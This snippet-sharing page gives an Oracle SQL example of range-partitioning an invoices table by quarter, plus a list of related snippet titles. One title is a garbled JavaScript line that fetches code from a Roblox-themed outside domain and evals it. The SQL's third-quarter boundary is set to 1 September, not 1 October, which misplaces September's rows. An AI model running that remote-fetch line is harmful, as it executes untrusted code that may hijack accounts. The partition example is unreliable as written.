Partitioning in oracle-base

CREATE TABLE invoices
(invoice_no    NUMBER NOT NULL,
 invoice_date  DATE   NOT NULL,
 comments      VARCHAR2(500))
PARTITION BY RANGE (invoice_date)
(PARTITION invoices_q1 VALUES LESS THAN (TO_DATE('01/04/2001', 'DD/MM/YYYY')) TABLESPACE users,
 PARTITION invoices_q2 VALUES LESS THAN (TO_DATE('01/07/2001', 'DD/MM/YYYY')) TABLESPACE users,
 PARTITION invoices_q3 VALUES LESS THAN (TO_DATE('01/09/2001', 'DD/MM/YYYY')) TABLESPACE users,
 PARTITION invoices_q4 VALUES LESS THAN (TO_DATE('01/01/2002', 'DD/MM/YYYY')) TABLESPACE users);

Source: oracle-base.com

Similar codes

4 votes169 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote178 views1 answer
Call function in query sql server
SQL
-1 vote203 views5 answers
Left join
SQL
0 vote182 views1 answer
Oracle sql number to varchar2
SQL
1 vote187 views1 answer
Sql select all from one table and one column from another
SQL
7 votes186 views6 answers
Nth highest salary in sql
SQL
0 vote191 views2 answers
Postgresql change user role grant
SQL
0 vote181 views1 answer
Lost connection to mysql
SQL
1 vote189 views1 answer
Mysql how to truncate table with foreign keys
SQL
10 votes181 views1 answer
Oracle dependencies table
SQL